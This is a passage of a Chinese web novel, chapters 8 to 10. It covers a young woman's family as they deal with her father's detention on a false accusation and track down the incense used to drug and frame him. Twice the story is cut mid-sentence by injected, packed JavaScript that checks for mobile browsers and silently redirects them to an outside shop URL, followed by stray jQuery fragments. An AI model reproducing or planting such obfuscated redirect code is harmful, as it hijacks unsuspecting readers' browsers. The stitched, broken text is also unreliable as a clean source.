想吃她绝户?潘安来了都得让她先生个孩子。为老尤家开枝散叶,就是她的执念。
围观的人,个个都伸长脖子瞧热闹。展琳原还以为,今天这里最大的热闹会是她,高估自己了不是?
无人在意的角落,她悄悄推车进小院,关上门。解开后车座绑布包的绳子,拎上包,打开正屋门。
进了屋,她先找个地方收好她的存折,便开始拾掇卫生。先楼上,再楼下,有条不紊地整理、洗擦。
打扫完正好12点,中午展琳就吃之前买的牛肉包。吃好了,把洪惠英女士的账本拿出来抄写。
一直抄到下午三点四十,才抄好一本,她收了账本去邮局。
三花果街道的邮局,离元钱胡同要近一些,但她没敢往那。骑车跑了十一二里路,去西场邮局。
这个点要打长途电话的人没多少,展琳到长途台窗口领了一张申请表,填写清楚宋玙禾的工作单位,跟他单位的电话号码,写明打电话的人是洪惠英。
交了申请表,她就等着。
五点零五分,长途台那叫洪惠英。展琳立马过去,26xxxx,确实是沪市银行后勤处电话。她握着话筒,指节都泛白,等着宋玙禾。窗口工作人员问她,要不要先挂断,等会再拨过去。她摇头拒绝。
等了三分半钟,宋玙禾来了。
“喂?”
这个声音很温润,与展琳记忆中宋玙禾的气质很投。她沉了沉气,压着嗓子出声:“是我。”
“惠英。”对方声音放低:“是又发生什么事了吗?”
展琳:“没有,就是想听听你的声音。”确认一下她的猜测。
宋玙禾明显松了一口气:“没发生什么事就好,你上午给我打完电话,中午我就去请人帮你留意工作了。一会下班后,我再去找找我几个同学。你在卫洋市是街道办主任,到了沪市工作总不能差。”
“好。”展琳想挂电话了:“那沪市见。”
“我等你。”
9.第 9 章
从卫洋市打长途电话到沪市,收十一级资费,一块钱一分钟。展琳这通电话通了4分11秒,就是5分钟,5块钱。
好贵!但这钱花得也算值。
离开邮局,她没往城东,骑车向南,去奶奶家。奶奶家在越秀老城那,到地儿正好跟遛完小五子回家的堂弟碰上。
“姐,你咋这个时候来?”平时不都上午中午来吗?展文凯提着心走近了小声问:“是不是红小兵上门了?”
昨晚上大姑父跟他爸在院子里抽了半宿的烟,说的话,他也带了两耳。他大伯在电厂主管的是财会跟后勤保障,这两块都跟大把钱挂钩。
瞧堂弟那不安样子,展琳笑了:“怎么我就不能来你家蹭顿晚饭?”把自行车给堂弟,她拉过狗绳。小五子的狗鼻子在她腿边嗅了又嗅,尾巴摇得欢快。
没有就好,展文凯傻兮兮地冲院子里喊:“奶,我姐来了。”
穿着铁路局工服的展珂,走出堂屋门,手里拿着筷子:“哪呢?”
“这。”展琳牵着小五子跟在堂弟身后:“珂珂这一身挺精神啊!”
“好看吧?”展珂严重自然卷,头发又黑又粗。但她脸小还十分白净,留着长发,扎不扎都很洋气。铁路局工服宽宽大大,穿她身上却格外合适。
“很好看。”展琳实事求是。
展国立掏了三块钱给闺女:“去国营饭店打两菜,再带几瓶汽水回来,剩下的归你。”
“得嘞。”展珂接了钱,回堂屋放下筷子,拿了饭盒,跑到她姐的自行车边:“姐,你想吃什么?红烧肉、溜肉片,有炒青虾仁的话,再来一个炒青虾仁行不?”
“别行不行的了,”系着围裙的马艳玲走出厨房:“你快去,晚了就啥也没有了。”
“你看你自己想吃什么,我什么都爱吃。”展琳抬手帮堂妹把翘起来的刘海往下压一压,完全不顶用,她手一拿开,那一小撮小卷依旧张牙舞爪。
“那行。”展珂搬着自行车转个向:“你们等我,我很快回来。”
看着女儿出了院门,腿一抬直接跨坐上自行车座,马艳玲回头就警告展国立:“不许给她买二六,必须二八。”
“我姑娘漂漂亮亮的,不就活泼了点吗,咋就不配骑二六了?她自己也喜欢二六,我都跟红军说了,让他调一辆。”展国立回堂屋搬了桌子到院子里。
苏老太太站在厨房门口:“孩子喜欢二六,就给她买二六。之前也是你们说的,珂珂考进铁路局,自行车、手表随便她挑一样。”
“行行行,买二六就买二六。”马艳玲拉着侄女的手,把小五子的狗绳丢给狗爹展国立同志:“走,去厨房吃油渣。”
展文凯已经站在灶边吃上了:“姐,你今天可算是来着了。我爸你二叔下午拎回来四斤肥油膘,奶一锅给炼了。”说着话,端了一盘油渣送到他姐跟前,让他姐吃。
展琳拿了一块,一咬咔咔脆。
“你来这有跟你妈讲一声吗?”苏老太太问。
“没有。”展琳接过二婶递来的筷子:“我吃完饭就回去。”
马艳玲知道侄女来这一趟是为啥,她把锅里的饼翻了个面,就说起今儿上午她去倒八门的事儿。
“那个蒋大霞起初没认出我,嗑了我一把瓜子,还跟我在那瞎唠。我后来直截了当直接问,她才瞧出我是谁。好家伙,大腿一拍,就喊我姐,说昨天上午发生的事,都一五一十跟你妈讲了。”
展琳:“时向赢昨天上午在家吗?”
“在,怎么不在?”马艳玲拿了张烙饼咬了一口,含糊着说:“你爸八点多去的秦晓芹家,没几分钟时向赢就出了家门。蒋大霞还问了他要去哪,他说去粮站,家里没粮下锅了。”
“他肯定有问题。”展国立捏了一小块肉皮,扔到狗碗里:“我中午问了我车队里的大洋子,他家没搬进筒子楼前,就住在南菜市口。”
“你说的那个凤老婆子,根儿在京市。十一二岁,就被爹妈卖进了那啥胡同里。二十二岁哄了个男人,带着她跑了。”
“那男人也不是个安分过日子的人,跟她在卫洋市扎根没几年,又勾搭上一个小媳妇,拐人回了京市。男人走了,凤老婆子生活没问题,她会绣花能养活自己,就是从那起但凡有个男的瞅她一眼,她家里就得被砸一回。”
“她也狠,当着一群人的面划花了自己的脸,这才没人敢再去她家闹。48年还47年的,她买了现在住的那两间倒座。没多久,她去八莲山找药,经过乱坟堆捡了个女娃。”
“孩子一点毛病没有,凤老婆子就带回来养着。建国后,她还送孩子去读书。那孩子也争气,特别能读书,64年考上了卫洋医科大学。”
“凤老婆子高兴,请左邻右舍吃了两天酒,只是没高兴几天,孩子开学前一天不见了。这不要人命吗?凤老婆子到处找,把街道分配给她的工作都卖了。”
“找了两年,没找着,她也不找了。人没了盼头,就消沉。制衣厂请她回去上工,她也不去,整天神神叨叨瞎琢磨,还卖起药。”
“她那就卖三种药,安神药、避孕药、欢情香。这三种药都是她自己弄来药材,自己磨自己搓。革委会、派出所、公安局都抓过她,批dou、拘留没用。那一片的红小兵,都不带搭理她。”
马艳玲:“你二叔已经跟大洋子约好了,今天夜里带上好吃好喝的去找她。我也跟着一道,防个万一。”
“辛苦二叔二婶了,为了我爸的事,真的……”展琳都不知道怎么表达了。
展国立两眼一瞪:“大侄女,你叫我啥?”
“二叔。”展琳笑了,眼泪汪眼里。
“你还知道我是你二叔就行。”展国立夺过儿子手里的筷子:“让老子也吃两口。”
苏老太太搂过孙女,展琳头靠着她奶:“这两天没人来打搅您吧?”
马艳玲冷嗤了一声:“这一条胡同,大小三十三个院子都是邻居,有好相处的就有不好相与的。我们家日子一直不错,眼红的人不少。这回你爸出事,背后笑话的人很多,但敢蹦跶到咱家面前的暂时还没有。”
苏老太太看得很开:“背后笑话就笑话吧,我院门闩上,还是按部就班过日子。”
她不止一回庆幸自己当年清醒,没着张玉凤那女人的道,收了展知博的补偿,不然哪有现在的独门独院。
展知博补偿她也是应该的。就凭公婆是她服侍到老操办下葬这一点,展知博欠她的就还不清。补偿再多,她苏月圆都可以挺直腰板全拿着。
凭什么不拿?她有三个孩子,孩子还有子孙后代。
张玉凤讲女人傲骨来捧她,她是痴还是傻?她领三个孩子逃难上千里,苦是什么滋味没人比她更清楚。
吃完晚饭,天也擦黑了。展琳带着她奶从小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995697|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
菜园里摘的黄瓜、豆角回家。展文凯骑着二八大杠载着展珂,送她到七骨巷子。
“你去哪了,怎么现在才着家?”展文斌拎着一只布包,从附楼步梯走下来。
展琳在车棚锁车:“我去奶奶那了。”
“别锁车了,我有话问你。”展文斌把布包斜跨在身上:“正好你陪我一道去给爸送换洗的衣服。”
“你见到爸了?”展琳意外,她还以为没那么快。
展文斌:“见到了。”
“你等我会儿,我先把奶奶给的菜送回家。”展琳将锁往车后座一放,就拎着篓子走出车棚。她也不进家门,菜篓子就放家门口,敲了敲门让她妈拿进去。
洪惠英开门走出来,看两兄妹都到院门口了,喊道:“早点回来。”
“知道了。”展文斌应了声。
出了院门都走了两三步了,展琳又倒回头看了院子一圈,她就说有哪不太对:“今晚怎么这么清静,人都去哪了?怎么没人看我们家热闹了?”
“常厂长媳妇从娘家回来了,大家都去常厂长家看电视了。”展文斌语调没精打采:“大概还会顺便议论议论我们家。”
这还用“大概”?展琳呵呵:“你怎么见到爸的?”
展文斌:“我岳父带我去了黄柏山黄副主任办公室。他们叙旧的时候,黄副主任的助手领我到楼道里待着。我塞了两包大前门,他就撇下我拉着看守咱爸的那位一道去了厕所。”
展琳:“爸有说什么吗?”
展文斌不走了,手指勾了勾,让他妹靠近些:“书房柜子顶报纸下的摔纸包是不是被你拿走了?”
“是。”展琳点头。
是她就好,展文斌推车继续走:“爸让我把钱取出来给奶送过去。他说这么多年他补贴虽然拿的多,但家里家外花的也多,就只攒下1600块,都给奶养老。家里折上的钱,留给妈。妈不要的话,就我们俩平分。我跟你,都要好好工作好好过日子。”
展琳:“我怎么听着他像是在交代后事?”
可不就是在安排后事吗?展文斌:“我让他别说晦气话,他讲他怕自己会像宁则钊同志一样死在市革会。”
能不提宁则钊同志吗?提了,展琳就想摆烂,破罐子破摔。
“你就没问他昨天上午的事?”
展文斌:“问了。爸自己都不太清楚是怎么回事?他说前天夜里跟妈吵了一架,一夜没睡。心里闷得难受,他就想找个人说说话。”
“秦晓芹昨天轮休,他在秦晓芹家坐了几分钟人就迷糊了。他只记得秦晓芹家门是开着的,不知道什么时候关上的,也不知道是谁关上的。”
展琳骑上自行车:“一会我和你一块进去看看他。”
展文斌跟上:“前天夜里,爸跟妈吵架,你听到声没?”
“你又不是不知道,他们两个都在意脸面,吵架从来不会大吵大闹。”
展文斌叹气:“也不知道为什么吵的,我问爸,爸不说。刚刚我问妈,妈坐沙发上低着头,也一声不吭。”
二十分钟,两人到了市革会,锁好车,在门卫那做个登记,就可以进去了。只是他们脚才跨进门槛,黄柏山的助手就跑来说事情有变,让他们回。
展琳有一种果然如此的感觉,本来她急切地想要跟她爸见一面,就是在试探。
现在试探的结果,来了。
10.第 10 章
展文斌掏烟:“吕干事,您帮帮忙。”
“换洗的衣服,我可以帮你们带进去,但探视是真不行了。”姓吕的干事,看了一眼门卫亭,搭着展文斌的肩膀到一边,手挡着嘴小声说:“半个小时前,你父亲被看管起来了。据康副主任讲,有人举报你父亲利用职务便利,侵吞电厂财产。”
展文斌脸色大变:“不可能。”
“你说不可能没用,有群众举报,我们就得查。”吕干事拍拍展文斌的肩:“我们黄副主任现在也要避嫌。康副主任刚在主任办公室都明讲了,黄裕跟你妹夫是大学同学。”
那康副主任消息还挺灵通。展文斌没法了,从左裤兜里又掏一包牡丹。
“不管怎么样,我还是要感谢您。”
“哎,你这是做什么?”吕干事推拒:“我都不好意思。”
展文斌:“您赶紧拿着,我们在这推来推去不好看。我出来也没带别的,您帮我看顾点我爸,他那人心思重,容易想不开。我不骗您,之前您和陈队长去厕所的那几分钟,他都把后事跟我交代了。”
听他这么一说,吕干事也严肃起来:“我得感谢你,跟我反映了这个情况。你放心,我一会进去就叮嘱老陈他们不能马虎大意。”
展琳低头看地,脚碾着地上的小石子。
这辈子针对她爸的举报,来的比上辈子早。现在她就等着,看卫民和张德润什么时候找上他们家门?
离开市革会,展文斌沉默了一路,直到快要到家了,他才猛地刹车,一脚撑地。
骑出去五六米的展琳,调车头转回来:“哥?”
展文斌:“妹,你领了结婚证也算是成了家的姑娘了,你也该把你的东西收拾收拾,尽快搬出去。”
“好,我明天就搬。”这个展琳早有打算。
“你是结了婚从娘家搬出去住,合情合理,对外也好解释。”展文斌看着妹妹,语重心长:“不是哥赶你,主要现在的情况,咱们得早做准备。我直觉怕是要不好。”
展琳:“爸存单里的钱,已经被我取出来了。你看看我什么时候拿给你?”
“不用给我。”展文斌想了下说:“钱先放你那,暂时不要给奶送过去,免得她跟着一道担心。一会我送你到楼下,就去找二叔和大姑父。”
展琳见她哥眉头紧锁,安抚道:“你也不用太担心,爸不是跟你说了吗,他这么些年就攒下1600块钱。”
是啊,展文斌自觉还是很了解他爸的:“爸也没那个胆子。”
“你不是还要去找二叔和大姑父吗?我们别在这杵着了。”
“好。”展文斌踩脚蹬:“对了,电视机票被我岳父送给黄柏山了。”
“不送你能见到爸?”
“也是,就是觉得有点亏,那可是电视机票。”
展琳回到家时,洪惠英正在通头,见只有一个进门,便问:“你哥呢?”
“去找二叔和大姑父了。”
“这么晚他去找你二叔他们做什么?”
展琳现在不想回答这个问题,她把包放在沙发上:“妈,我哥跟您说了没?”
“说什么?”洪惠英问。
展琳也直接:“我爸交代他的事。”
洪惠英脸冷了下来:“说了一半吧。”
也就是没提存单的事,展琳瞧她妈那样儿,心里有点不得劲:“家里折子上的钱留给您,您好像不是很满意?”
嗤笑一声,洪惠英抬眼瞥了下闺女,把梳子上的两根头发捏掉,“你以为家里折子上有多少钱?这么些年,你爸是把工资都交给了我,但他的补贴,我可是一分没看到。”
“您真没看到吗?”跟她装糊涂是吗?展琳点明:“远的不说,就说去年,我修房子我哥调岗,我爸就拿出来1100。这钱不是您给他的吧?”
“你知道你爸每年能拿到手的补贴有多少吗?”洪惠英头也不通了,把梳子扔到桌上。
展琳:“不是很清楚,但我知道他还剩下多少?1600”
洪惠英一顿,不过很快反应过来:“不可能。谁告诉你1600的?你爸没升副厂长前,一年能拿到的补贴就有大几百块。”
“只进不出吗?”展琳问:“我爸工资交给您后,有向您拿过钱吗?您有给过他零用吗?他花什么?”
洪惠英看着闺女:“你受什么刺激了?你还知道我是你谁吗?”
“您是我妈。”展琳走到她跟前:“我爸被看管起来了。”
什么?洪惠英两眼大张:“怎……怎么会这样?他们为什么会把你爸看管起来?朱满义不是已经去找过黄柏山了?”
看她表情不像作假,展琳心里好受了那么一点点:“你问我我问谁去?我和我哥人都进了市革会了,被拦了下来。”
“怎么会这样?”洪惠英站起身,在屋里来回打转。
展琳:“我爸交代我哥,他的私房钱,都送去给奶奶养老。家里的钱给你,我和我哥要好好工作好好生活。就这些,没其他的了。”
洪惠英站定,很长时间不言语。
展琳也不想陪她在这干站着:“我去烧水洗澡。”
这一夜,展琳睡得很轻,外头稍微有点动静,她就醒来听听声,确定不是她在等的声就继续睡。天亮了,她妈出门上班后,她才起来了。
桌上有早饭,粥、两个水煮鸡蛋和一盘拍黄瓜。
吃完早饭,展琳就打开衣橱。两床新棉被,她还没盖过,今天要带走。找张床单,铺在床上,把两床棉被叠在床单上,床单对角系紧。
大包袱太膨胀,她又去找来两根绳子,在包袱外绑两道。
提着棉被到车棚,展琳就听到在院子带孩子玩的朱晓荷问,“咱们小展干事这是在忙啥呢?”
怪腔怪调的,展琳扯着笑脸招呼:“晓荷嫂子快过来帮帮忙。”
人家都叫了,朱晓荷也不好拒绝:“你拿的啥?被子吗?”
展琳:“是,我要把这个绑在后车座上。”
走到车棚,朱晓荷瞅了又瞅展琳那细手腕,撇撇嘴,还是拿过了绳子:“你摁着车龙头,我来绑。”
“谢谢谢谢!”展琳一手扶着棉被一手摁着车龙头。
朱晓荷将绳子穿到坐凳下用力一拉,大包袱立时就塌下去了。三两下绑好,她又到墙角搬了块小石头放到前头车篮里:“大夏天的,你拿被子做什么?”
“我这不是已经结婚了吗?总不能一直在娘家住着。”展琳把车龙头掰正,确定它不会翘起来,才放开手,从口袋掏了两块大白兔奶糖出来。
朱晓荷不客气地接过糖:“是这个道理。”就说她自己,打结婚后,就没敢在娘家住超过三天。不过说到结婚,她又打量起面前的人。
“你跟宁耘书怎么突然结婚了?”
“也不突然吧,我跟宁耘书从小就认识。”展琳一脚跨出了车棚:“晓荷嫂子,我还有些东西没收拾,咱们改天再聊。”
“哎……”朱晓荷追上两步,眼看着展家门关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001235|193688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
展琳将三件毛衣和几件布拉吉叠好,塞进布包,在家里又磨蹭了半个小时,才拿上她的皮包,戴上大草帽出门。
今天她还要继续抄写账本,下午再去一趟奶奶家,不知道昨夜二叔二婶有没有去找凤老婆子?
去找了,而且展国立还在凤老婆子那问到了他想问的。上午他带着三个徒弟,检修完两辆大车,就跟他们主任说了声,回家了。
这刚到胡同口,便看见他婆娘推着自行车出门,隔老远他都能感受到他婆娘身上冲出的火气。
“你去哪?”
“当家的你回去抄家伙,我去机床厂喊老二,咱们今天一顿把时向赢那狼心狗肺的东西打到疼。”
“时向赢干啥了?”
“他出息了,跟人讲展国成惦记他妈十多年了,是他妈一直不愿意跟展国成好,说他妈心里只有他那死去的爸。现在倒八门那,都说展国成强女干秦晓芹。”马艳玲唾沫横飞。
“瘪犊子黑心烂肺,当年他娘为了守住他爸留下的工作,差点被时家撕了。他妈才不在家多长时间,他竟然跟时家那帮子人尿一个壶里去了,真是畜生。那年时大虎那一摔怎么没把他给摔死?”
一听说时向赢跟时家人凑到一块了,展国立也回头:“妈呢?”
“在家喂小五子。”马艳玲撂下话:“今天小五子要是找不着那香,回来我就剥了它剁剁下锅。我养它9年了,它必须给我顶点用。”
一刻钟后,展国立领着三徒弟,飞蹬着自行车往倒八门去。展文凯载着他妈紧跟在后,窝在车篮子里的小土狗瑟瑟发抖。
倒八门9号院中院,两间西厢房门都开着。靠北的这一间,屋里男女老少七口人围着一张桌子吃饭。
展国立师徒四个进了院子,一拥而上,把能打的三个摁在了地上。不能打的,被撵到了院子里。
东厢房蒋大霞早盯着了,今天这热闹她必须看。时向赢在外瞎说,还是她跑去展老二家报的信。她不白嗑展老二家的瓜子。
一到地儿,马艳玲就跳下了车,抱上小五子。从口袋掏出一个小纸包,她拆开按着小五子闻。
展文凯:“你闻仔细了,今天你哥我能不能把瘪犊子往死里揍,就全看你了。”
小五子好害怕,被放到地上腿直打哆嗦,鼻子嗅了又嗅,汪汪两声,跑进了9号院。马艳玲跟着它,这跑那跑,最后冲进了时家,在堂屋转了两圈就凑到了时向赢身边。
眼镜歪脸上的时向赢挣扎:“放开我,你们这是犯罪,放开我,我要报公安我要代表无产阶级打倒你们这群恶霸……”
“汪汪汪…”小五子凶狠地要咬时向赢。
展文凯将时向赢从头到脚搜个遍,夏天衣服薄,藏不住东西,他冲他妈摇摇头。
马艳玲给了小五子一个小爆栗:“再找。”
动静闹这么大,屋外已经围了几圈人。蒋大霞站在第一排,跟周边的人叭叭说。
小五子凑着鼻子去到了时家的耳房,在炭炉子边转了又转,最后两爪子兴奋地扒拉那小堆碎炭渣。
展文凯帮忙,几爪子就扒到了几小节断香。
“找到了。”马艳玲一把推开儿子,蹲下小心地将断香都捡起来,出了耳房:“当家的,把那畜生带出来。”
她伸出手去,让大家伙都看看,“不找到这东西,我都不敢信这世上还有这样害娘的畜生。秦晓芹为了这畜生,从22岁守寡守到今天,吃了多少苦,才把他拉扯大,他是人吗?”